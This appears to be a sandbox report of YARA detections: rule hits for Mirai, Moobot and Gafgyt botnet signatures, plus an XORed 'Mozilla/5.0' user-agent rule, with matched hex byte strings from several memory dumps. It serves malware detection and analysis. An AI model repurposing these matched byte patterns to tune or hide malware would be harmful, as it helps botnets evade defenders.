6718.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6718.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6744.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6744.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6744.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6744.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6744.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6744.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6701.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6701.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6701.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6701.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6701.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6701.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7400.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6942.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6942.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6942.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6942.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6942.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6942.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6430.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6430.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6430.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6430.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6430.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6430.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6606.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6406.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7124.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6344.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6344.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6344.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6344.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6344.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6344.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
